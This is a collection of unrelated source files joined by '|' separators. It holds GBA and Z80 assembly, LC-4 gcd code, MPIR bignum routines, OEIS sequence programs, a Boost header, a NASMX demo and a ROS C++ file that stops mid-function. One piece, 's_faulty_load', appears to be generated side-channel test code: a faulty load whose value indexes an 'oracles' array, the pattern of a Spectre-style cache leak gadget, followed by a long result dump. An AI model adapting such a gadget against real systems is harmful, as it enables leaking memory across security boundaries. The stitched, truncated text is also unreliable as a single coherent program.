.definelabel printNumberOfStatus,0x0837b5a0
.definelabel decode_character,0x083755be
.definelabel get_tile_number_grid,0x083755b8
.definelabel weld_entry_custom,0x08376778
.definelabel getPrice,0x0837b2c4
.definelabel print_special_character_buffer,0x08375a60
.definelabel setupCursorPosition,0x08379718
.definelabel getPaletteFromFileWindow,0x08378e48
.definelabel print_character_to_ram,0x08375fa8
.definelabel readCastCharacterName,0x08378a08
.definelabel psiWindow_buffer,0x0837cdb4
.definelabel format_file_string,0x0837a6c6
.definelabel setupCursorMovement_Overworld_Alphabet,0x083792d4
.definelabel text_flavour_setup,0x08379a10
.definelabel print_space,0x08376b4c
.definelabel setupShortMainMenu,0x0837aa98
.definelabel initWindow_buffer,0x08377470
.definelabel get_tile_number,0x083755ee
.definelabel highlight_talk_to,0x0837709c
.definelabel psiTargetWindow_buffer,0x0837cc20
.definelabel clear_number_menu,0x08376c16
.definelabel setupShortMainMenu_Talk_to_Goods,0x08376d3c
.definelabel clear_tile,0x083769d8
.definelabel handle_first_window_buffer,0x083775a8
.definelabel copy_tile_buffer,0x08377d0c
.definelabel setPaletteOnFile,0x08378f78
.definelabel print_blankstr_window_buffer,0x08377ce0
.definelabel numbersSetup,0x08379e4c
.definelabel print_equip_header,0x08376400
.definelabel clear_rect_buffer,0x08377140
.definelabel getCharName,0x083758c0
.definelabel printEquipNumbersArrow,0x0837cbf8
.definelabel printstr_hlight_buffer,0x08377070
.definelabel equippableReadInput,0x0837c248
.definelabel setTilesToBlankCast,0x08378836
.definelabel printEquipWindowNumberText,0x0837cbc2
.definelabel printTinyArrow,0x0837770c
.definelabel printVoidLumineTiles,0x0837db46
.definelabel printCastCharacterInSingleTiles,0x08378766
.definelabel print_string,0x08376802
.definelabel equippablePrint,0x0837bf88
.definelabel scrolltext_buffer,0x08377d64
.definelabel store_pixels_overworld_buffer,0x08377810
.definelabel print_window_with_buffer,0x0837820c
.definelabel ascii_strlen,0x083758dc
.definelabel printLumineCharacterInMultiTiles,0x0837d72c
.definelabel map_tile,0x083765ac
.definelabel copy_name,0x0837589c
.definelabel print_string_edited,0x08376856
.definelabel printEmptyLumineTile,0x0837db7c
.definelabel readCharacterGive,0x0837b43a
.definelabel text_speed_setup,0x083798ac
.definelabel print_character_to_window,0x08376c74
.definelabel copy_setup,0x08379cd8
.definelabel wrapper_delete_string,0x08379180
.definelabel clear_window_header,0x08376a9a
.definelabel count_pixels_to_tiles,0x083758f4
.definelabel printstr_hlight_pixels_edited,0x083768b4
.definelabel print_character_with_codes,0x08377f9e
.definelabel print_character_with_callback_1bpp_buffer,0x08375fd8
.definelabel statusNumbersPrint,0x0837b67c
.definelabel buffer_reset_window,0x08377548
.definelabel properScroll,0x08377f84
.definelabel print_number_menu_current,0x08376bdc
.definelabel weld_entry,0x083767e0
.definelabel ailmentTileSetup,0x0837769c
.definelabel player_name_printing_registration,0x08378388
.definelabel statusWindowText,0x0837bbde
.definelabel readLumineCharacter,0x0837dba8
.definelabel clear_tile_file,0x08378ca8
.definelabel wrapper_first_file_string,0x0837913c
.definelabel store_pixels_overworld_buffer_totalTiles,0x08377a80
.definelabel getPCWidthCast,0x08378ae4
.definelabel highlight_string,0x08376f7c
.definelabel printstr_hlight_pixels_buffer,0x0837700c
.definelabel clearArr,0x08378f94
.definelabel wrapper_name_summary_string,0x0837920e
|
#d x ; error: infer size
x = 10 |
map_header CeladonMansion2F, CELADON_MANSION_2F, MANSION, 0
end_map_header
|
;; Expected: 21
gcd
ADD R6, R6, #-3
STR R7, R6, #1
STR R5, R6, #0
ADD R5, R6, #0
LDR R0, R5, #4
ADD R6, R6, #-1
STR R0, R6, #0
CONST R0, #0
ADD R6, R6, #-1
STR R0, R6, #0
LDR R0, R6, #0
LDR R1, R6, #1
CMP R0, R1
BRz test_gcd_j_cmp_true_0
CONST R0, #0
STR R0, R6, #1
BRnzp test_gcd_j_cmp_end_0
test_gcd_j_cmp_true_0
CONST R0, #1
STR R0, R6, #1
test_gcd_j_cmp_end_0
ADD R6, R6, #1
ADD R6, R6, #1
LDR R0, R6, #-1
BRz test_gcd_j_else_0
LDR R0, R5, #3
ADD R6, R6, #-1
STR R0, R6, #0
BRnzp test_gcd_j_endif_0
test_gcd_j_else_0
LDR R0, R5, #4
ADD R6, R6, #-1
STR R0, R6, #0
LDR R0, R5, #3
ADD R6, R6, #-1
STR R0, R6, #0
LDR R0, R6, #0
LDR R1, R6, #1
MOD R0, R0, R1
ADD R6, R6, #1
STR R0, R6, #0
LDR R0, R5, #4
ADD R6, R6, #-1
STR R0, R6, #0
JSR gcd
ADD R6, R6, #-1
test_gcd_j_endif_0
LDR R7, R6, #0
STR R7, R5, #2
ADD R6, R5, #0
LDR R5, R6, #0
LDR R7, R6, #1
ADD R6, R6, #3
RET
main
ADD R6, R6, #-3
STR R7, R6, #1
STR R5, R6, #0
ADD R5, R6, #0
CONST R0, #206
HICONST R0, #1
ADD R6, R6, #-1
STR R0, R6, #0
CONST R0, #47
HICONST R0, #4
ADD R6, R6, #-1
STR R0, R6, #0
JSR gcd
ADD R6, R6, #-1
LDR R7, R6, #0
STR R7, R5, #2
ADD R6, R5, #0
LDR R5, R6, #0
LDR R7, R6, #1
ADD R6, R6, #3
RET |
; PROLOGUE(mpn_sub_err1_n)
; Copyright 2009 Jason Moxham
;
; Windows Conversion Copyright 2008 Brian Gladman
;
; This file is part of the MPIR Library.
;
; The MPIR Library is free software; you can redistribute it and/or modify
; it under the terms of the GNU Lesser General Public License as published
; by the Free Software Foundation; either version 2.1 of the License, or (at
; your option) any later version.
;
; The MPIR Library is distributed in the hope that it will be useful, but
; WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
; or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
; License for more details.
;
; You should have received a copy of the GNU Lesser General Public License
; along with the MPIR Library; see the file COPYING.LIB. If not, write
; to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
; Boston, MA 02110-1301, USA.
;
; mp_limb_t mpn_sub_err1(mp_ptr, mp_ptr, mp_ptr, mp_ptr, mp_ptr, mp_size_t, mp_limb_t)
; rax rdi rsi rdx rcx r8 r9 8(rsp)
; rax rcx rdx r8 r9 [rsp+40] [rsp+48] [rsp+56]
%include "yasm_mac.inc"
CPU Athlon64
BITS 64
%define reg_save_list rbx, rsi, rdi, rbp, r12, r13, r14, r15
FRAME_PROC mpn_sub_err1_n, 0, reg_save_list
mov [rsp+stack_use+32], r9
mov r9, qword [rsp+stack_use+48]
mov r10, [rsp++stack_use+56]
lea rdi, [rcx+r9*8-24]
lea rsi, [rdx+r9*8-24]
lea rdx, [r8+r9*8-24]
mov r8, [rsp+stack_use+40]
mov r11, 3
shl r10, 63
lea r8, [r8+r9*8]
sub r11, r9
mov r9, 0
mov rax, 0
mov rbx, 0
jnc .2
xalign 16
.1: mov r12, [rsi+r11*8]
mov r13, [rsi+r11*8+8]
mov r14, [rsi+r11*8+16]
mov r15, [rsi+r11*8+24]
mov rbp, 0
shl r10, 1
sbb r12, [rdx+r11*8]
cmovc rax, [r8-8]
sbb r13, [rdx+r11*8+8]
cmovc rbx, [r8-16]
mov rcx, 0
sbb r14, [rdx+r11*8+16]
cmovc rcx, [r8-24]
sbb r15, [rdx+r11*8+24]
cmovc rbp, [r8-32]
rcr r10, 1
add r9, rax
adc r10, 0
add r9, rbx
adc r10, 0
add r9, rcx
mov rax, 0
adc r10, 0
lea r8, [r8-32]
add r9, rbp
adc r10, 0
mov [rdi+r11*8], r12
mov [rdi+r11*8+8], r13
mov [rdi+r11*8+16], r14
mov [rdi+r11*8+24], r15
mov rbx, 0
add r11, 4
jnc .1
.2: cmp r11, 2
ja .6
je .5
jp .4
.3: mov r12, [rsi+r11*8]
mov r13, [rsi+r11*8+8]
mov r14, [rsi+r11*8+16]
shl r10, 1
sbb r12, [rdx+r11*8]
cmovc rax, [r8-8]
sbb r13, [rdx+r11*8+8]
cmovc rbx, [r8-16]
mov rcx, 0
sbb r14, [rdx+r11*8+16]
cmovc rcx, [r8-24]
rcr r10, 1
add r9, rax
adc r10, 0
add r9, rbx
adc r10, 0
add r9, rcx
adc r10, 0
mov [rdi+r11*8], r12
mov [rdi+r11*8+8], r13
mov [rdi+r11*8+16], r14
jmp .6
xalign 16
.4: mov r12, [rsi+r11*8]
mov r13, [rsi+r11*8+8]
shl r10, 1
sbb r12, [rdx+r11*8]
cmovc rax, [r8-8]
sbb r13, [rdx+r11*8+8]
cmovc rbx, [r8-16]
rcr r10, 1
add r9, rax
adc r10, 0
add r9, rbx
adc r10, 0
mov [rdi+r11*8], r12
mov [rdi+r11*8+8], r13
jmp .6
xalign 16
.5: mov r12, [rsi+r11*8]
shl r10, 1
sbb r12, [rdx+r11*8]
cmovc rax, [r8-8]
rcr r10, 1
add r9, rax
adc r10, 0
mov [rdi+r11*8], r12
.6: mov rcx, [rsp+stack_use+32]
mov [rcx], r9
btr r10, 63
mov [rcx+8], r10
mov rax, 0
adc rax, 0
END_PROC reg_save_list
end
|
; A112700: Partial sum of Catalan numbers A000108 multiplied by powers of 6.
; Submitted by Christian Krause
; 1,7,79,1159,19303,345895,6504487,126597031,2528447911,51526205863,1067116097959,22394503831975,475191351108007,10177980935594407,219758235960500647,4778128782752211367,104526001924311998887,2298979211038627324327,50807944886197176623527,1127706982874716971065767,25127171258047443818635687,561842463230092062409744807,12602933361385527853410279847,283527478569882833150922318247,6395585218473582040662793904551,144622121797834164118238966702503,3277756950930007357876632216789415
lpb $0
mul $1,2
mov $2,$0
sub $0,1
mul $1,3
seq $2,108 ; Catalan numbers: C(n) = binomial(2n,n)/(n+1) = (2n)!/(n!(n+1)!).
add $1,$2
lpe
mov $0,$1
mul $0,6
add $0,1
|
;
; Sharp OZ family functions
;
; ported from the OZ-7xx SDK by by Alexander R. Pruss
; by Stefano Bodrato - Oct. 2003
;
; Serial libraries
;
;
; ------
; $Id: ozserialout.asm,v 1.3 2016-06-27 21:25:36 dom Exp $
;
SECTION code_clib
PUBLIC ozserialout
PUBLIC _ozserialout
ozserialout:
_ozserialout:
ld hl,2
add hl,sp
waittop:
in a,(45h)
and 20h
jr z,waittop
ld a,(hl)
out (40h),a
ret
|
; A236364: Sum of all the middle parts in the partitions of 3n into 3 parts.
; 1,5,18,40,80,135,217,320,459,625,836,1080,1378,1715,2115,2560,3077,3645,4294,5000,5796,6655,7613,8640,9775,10985,12312,13720,15254,16875,18631,20480,22473,24565,26810,29160,31672,34295,37089,40000,43091,46305,49708,53240,56970,60835,64907,69120,73549,78125,82926,87880,93068,98415,104005,109760,115767,121945,128384,135000,141886,148955,156303,163840,171665,179685,188002,196520,205344,214375,223721,233280,243163,253265,263700,274360,285362,296595,308179,320000,332181,344605,357398,370440,383860,397535,411597,425920,440639,455625,471016,486680,502758,519115,535895,552960,570457,588245,606474,625000,643976,663255,682993,703040,723555,744385,765692,787320,809434,831875,854811,878080,901853,925965,950590,975560,1001052,1026895,1053269,1080000,1107271,1134905,1163088,1191640,1220750,1250235,1280287,1310720,1341729,1373125,1405106,1437480,1470448,1503815,1537785,1572160,1607147,1642545,1678564,1715000,1752066,1789555,1827683,1866240,1905445,1945085,1985382,2026120,2067524,2109375,2151901,2194880,2238543,2282665,2327480,2372760,2418742,2465195,2512359,2560000,2608361,2657205,2706778,2756840,2807640,2858935,2910977,2963520,3016819,3070625,3125196,3180280,3236138,3292515,3349675,3407360,3465837,3524845,3584654,3645000,3706156,3767855,3830373,3893440,3957335,4021785,4087072,4152920,4219614,4286875,4354991,4423680,4493233,4563365,4634370,4705960,4778432,4851495,4925449,5000000,5075451,5151505,5228468,5306040,5384530,5463635,5543667,5624320,5705909,5788125,5871286,5955080,6039828,6125215,6211565,6298560,6386527,6475145,6564744,6655000,6746246,6838155,6931063,7024640,7119225,7214485,7310762,7407720,7505704,7604375,7704081,7804480,7905923,8008065,8111260,8215160,8320122,8425795,8532539,8640000,8748541,8857805,8968158,9079240,9191420,9304335,9418357,9533120,9648999,9765625
mov $2,$0
mov $4,$0
mov $5,3
lpb $0,1
sub $0,1
add $6,$2
add $1,$6
trn $2,$5
add $2,1
lpe
add $3,$1
add $3,$1
trn $6,$1
add $1,$3
add $6,1
add $1,$6
lpb $4,1
add $1,1
sub $4,1
lpe
|
; A211710: Number of (n+1) X (n+1) -11..11 symmetric matrices with every 2 X 2 subblock having sum zero and two distinct values.
; 34,46,64,94,142,220,346,550,880,1414,2278,3676,5938,9598,15520,25102,40606,65692,106282,171958,278224,450166,728374,1178524,1906882,3085390,4992256,8077630,13069870,21147484,34217338,55364806,89582128,144946918,234529030,379475932,614004946,993480862,1607485792,2600966638,4208452414,6809419036,11017871434,17827290454,28845161872,46672452310,75517614166,122190066460,197707680610,319897747054,517605427648,837503174686,1355108602318,2192611776988,3547720379290,5740332156262,9288052535536,15028384691782,24316437227302,39344821919068,63661259146354,103006081065406,166667340211744,269673421277134,436340761488862,706014182765980,1142354944254826,1848369127020790,2990724071275600,4839093198296374,7829817269571958,12668910467868316,20498727737440258,33167638205308558,53666365942748800,86834004148057342,140500370090806126,227334374238863452,367834744329669562,595169118568532998,963003862898202544,1558172981466735526,2521176844364938054,4079349825831673564,6600526670196611602,10679876496028285150,17280403166224896736,27960279662253181870,45240682828478078590,73200962490731260444,118441645319209339018,191642607809940599446,310084253129149938448,501726860939090537878,811811114068240476310,1313537975007331014172,2125349089075571490466,3438887064082902504622,5564236153158473995072,9003123217241376499678
mov $1,6
mov $2,4
lpb $0
sub $0,1
mov $3,$2
mov $2,$1
add $1,$3
lpe
mul $1,3
add $1,16
mov $0,$1
|
__sjasm_page_0_start:
; Test case:
rrca
rrca
rrca
rrca
loop:
jp loop
__sjasm_page_0_end: |
; An array containing the offsets of all eops defined in the eop segment.
; Used by the eop dispatchers to jump into the requested procedure.
[bits 16]
startPatch EXE_LENGTH, %[eopSegmentName]-dispatchTable
startBlockAt addr_%[eopSegmentName]_dispatchTable
%assign eopNumber 0
%rep %[eopSegmentName]_nextEopNumber
dw off_%[eopSegmentName]_%[eopNumber]
%assign eopNumber eopNumber + 1
%endrep
endBlockAt off_%[eopSegmentName]_dispatchTable_end
endPatch
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x8913, %rsi
lea addresses_UC_ht+0x673, %rdi
nop
nop
nop
nop
nop
inc %rdx
mov $91, %rcx
rep movsb
nop
cmp $20670, %rax
lea addresses_WT_ht+0xe613, %rsi
lea addresses_WC_ht+0x1b453, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
nop
xor $58017, %r9
mov $107, %rcx
rep movsq
nop
nop
nop
add %rcx, %rcx
lea addresses_WT_ht+0x6e13, %r9
nop
cmp $22988, %r13
mov $0x6162636465666768, %rcx
movq %rcx, (%r9)
nop
nop
nop
xor %r13, %r13
lea addresses_normal_ht+0x1c7b7, %rsi
sub %rax, %rax
mov (%rsi), %r13w
nop
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_WC_ht+0x1e8e6, %rsi
lea addresses_WC_ht+0x15053, %rdi
nop
nop
nop
nop
nop
add %r10, %r10
mov $98, %rcx
rep movsl
nop
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_UC_ht+0xae13, %rdi
nop
nop
nop
and %r13, %r13
mov (%rdi), %edx
nop
nop
nop
nop
nop
add $50839, %r10
lea addresses_WC_ht+0x2193, %rsi
lea addresses_UC_ht+0x16953, %rdi
nop
nop
nop
inc %rax
mov $17, %rcx
rep movsb
nop
xor %r9, %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r9
push %rax
push %rbx
push %rdx
// Load
lea addresses_WC+0xd313, %r10
clflush (%r10)
nop
nop
nop
cmp $40329, %r13
movb (%r10), %dl
nop
nop
nop
nop
sub %r9, %r9
// Store
lea addresses_normal+0xca13, %rdx
nop
nop
nop
nop
sub $24899, %rax
movb $0x51, (%rdx)
nop
nop
nop
nop
cmp $17963, %r9
// Store
lea addresses_WC+0x1ecba, %rdx
nop
nop
and %r10, %r10
movw $0x5152, (%rdx)
nop
cmp %r13, %r13
// Faulty Load
lea addresses_PSE+0x1ae13, %r9
nop
sub %rdx, %rdx
movb (%r9), %al
lea oracles, %r11
and $0xff, %rax
shlq $12, %rax
mov (%r11,%rax,1), %rax
pop %rdx
pop %rbx
pop %rax
pop %r9
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': True, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': True, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
MOV D, 10100111b
MOV E, 00000001b
; Test if Bit 0 is set
AND D, E
; Reset both registers
XOR D, D
XOR E, E
MOV D, 00000111b
MOV E, 01000000b
; Set Bit 7
OR D, E
; Reset both registers
XOR D, D
XOR E, E |
LDA #$37
AND #$FF
OUT A
LDA #$AB
AND #$00
OUT A
|
// Boost tokenizer.hpp -----------------------------------------------------//
// (c) Copyright Jeremy Siek and John R. Bandela 2001.
// Distributed under the Boost Software License, Version 1.0. (See
// accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
// See http://www.boost.org/libs/tokenizer for documenation
// Revision History:
// 03 Jul 2003 John Bandela
// Converted to new iterator adapter
// 02 Feb 2002 Jeremy Siek
// Removed tabs and a little cleanup.
#ifndef BOOST_TOKENIZER_JRB070303_HPP_
#define BOOST_TOKENIZER_JRB070303_HPP_
#include <boost/token_iterator.hpp>
namespace boost {
//===========================================================================
// A container-view of a tokenized "sequence"
template <
typename TokenizerFunc = char_delimiters_separator<char>,
typename Iterator = std::string::const_iterator,
typename Type = std::string
>
class tokenizer {
private:
typedef token_iterator_generator<TokenizerFunc,Iterator,Type> TGen;
// It seems that MSVC does not like the unqualified use of iterator,
// Thus we use iter internally when it is used unqualified and
// the users of this class will always qualify iterator.
typedef typename TGen::type iter;
public:
typedef iter iterator;
typedef iter const_iterator;
typedef Type value_type;
typedef value_type& reference;
typedef const value_type& const_reference;
typedef value_type* pointer;
typedef const pointer const_pointer;
typedef void size_type;
typedef void difference_type;
tokenizer(Iterator first, Iterator last,
const TokenizerFunc& f = TokenizerFunc())
: first_(first), last_(last), f_(f) { }
template <typename Container>
tokenizer(const Container& c)
: first_(c.begin()), last_(c.end()), f_() { }
template <typename Container>
tokenizer(const Container& c,const TokenizerFunc& f)
: first_(c.begin()), last_(c.end()), f_(f) { }
void assign(Iterator first, Iterator last){
first_ = first;
last_ = last;
}
void assign(Iterator first, Iterator last, const TokenizerFunc& f){
assign(first,last);
f_ = f;
}
template <typename Container>
void assign(const Container& c){
assign(c.begin(),c.end());
}
template <typename Container>
void assign(const Container& c, const TokenizerFunc& f){
assign(c.begin(),c.end(),f);
}
iter begin() const { return iter(f_,first_,last_); }
iter end() const { return iter(f_,last_,last_); }
private:
Iterator first_;
Iterator last_;
TokenizerFunc f_;
};
} // namespace boost
#endif
|
DATA SEGMENT
STRING1 DB 99H,12H,56H,45H,36H
DATA ENDS
CODE SEGMENT
ASSUME CS:CODE,DS:DATA
START: MOV AX,DATA
MOV DS,AX
MOV CH,04H
UP2: MOV CL,04H
LEA SI,STRING1
UP1:MOV AL,[SI]
MOV BL,[SI+1]
CMP AL,BL
JNC DOWN
MOV DL,[SI+1]
XCHG [SI],DL
MOV [SI+1],DL
DOWN: INC SI
DEC CL
JNZ UP1
DEC CH
JNZ UP2
INT 3
CODE ENDS
END START |
; void wherey()
; 09.2017 stefano
SECTION code_clib
PUBLIC wherey
PUBLIC _wherey
EXTERN __console_y
.wherey
._wherey
ld a,(__console_y)
ld l,a
ld h,0
IF __CPU_GBZ80__
ld d,h
ld e,l
ENDIF
ret
|
;// DEMO14.ASM
;//
;// Written by Rob Neff
;// Copyright (C)2005-2011 The NASMX Project
;//
%include '..\..\windemos.inc'
entry demo14
[section .code]
; The following simple procedure calculates the area of a circle
; given it's radius. It makes use of the FPU and leaves the result
; on the FPU stack for the function return value.
; Prototype:
; float CalculateAreaOfCircle(float radius);
;
proc CalculateAreaOfCircle, float_t radius
locals
local pi, float_t
endlocals
; load the 32-bit float radius value onto the FPU stack
fld dword [argv(.radius)]
; square the value
fmul dword [argv(.radius)]
; assign the float value pi to local variable
mov dword [var(.pi)], __float(3.14159)
; multiply the values, leaving result on top of stack
fmul dword [var(.pi)]
endproc
proc demo14, ptrdiff_t argcount, ptrdiff_t cmdline
locals
local area, float_t
local aread, double_t
endlocals
; initialize the FPU
finit
; store a radius
mov dword [var(.area)], __float(2.0)
; calculate the area
invoke CalculateAreaOfCircle, dword [var(.area)]
; The C and C++ ANSI standards require that float arguments in a
; variable argument list be promoted to type double
fstp qword [var(.aread)]
invoke printf, szStringFmt, dword [var(.aread)], dword [var(.aread)+4]
endproc
[section .data]
szStringFmt: declare(NASMX_TCHAR) NASMX_TEXT("The area of the circle is %8.4f"), 0x0D, 0x0A, 0x0
|
// -*- mode: c++ -*-
/*********************************************************************
* Software License Agreement (BSD License)
*
* Copyright (c) 2015, JSK Lab
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/o2r other materials provided
* with the distribution.
* * Neither the name of the JSK Lab nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*********************************************************************/
#define BOOST_PARAMETER_MAX_ARITY 7
#include "jsk_pcl_ros_utils/colorize_height_2d_mapping.h"
#include <pcl_conversions/pcl_conversions.h>
namespace jsk_pcl_ros_utils
{
void ColorizeHeight2DMapping::onInit()
{
DiagnosticNodelet::onInit();
pub_ = advertise<sensor_msgs::PointCloud2>(*pnh_, "output", 1);
onInitPostProcess();
}
void ColorizeHeight2DMapping::subscribe()
{
sub_ = pnh_->subscribe("input", 1, &ColorizeHeight2DMapping::colorize, this);
}
void ColorizeHeight2DMapping::unsubscribe()
{
sub_.shutdown();
}
void ColorizeHeight2DMapping::colorize(
const sensor_msgs::PointCloud2::ConstPtr& msg)
{
vital_checker_->poke();
pcl::PointCloud<pcl::PointXYZ> cloud;
pcl::fromROSMsg(*msg, cloud);
pcl::PointCloud<pcl::PointXYZI> colorized_cloud;
for (size_t i = 0; i < cloud.points.size(); i++) {
pcl::PointXYZ in = cloud.points[i];
if (isnan(in.x) || isnan(in.y) || isnan(in.z)) {
continue;
}
pcl::PointXYZI out;
out.x = in.x;
out.y = in.y;
out.z = 0.0;
out.intensity = in.z;
colorized_cloud.points.push_back(out);
}
sensor_msgs::PointCloud2 ros_cloud;
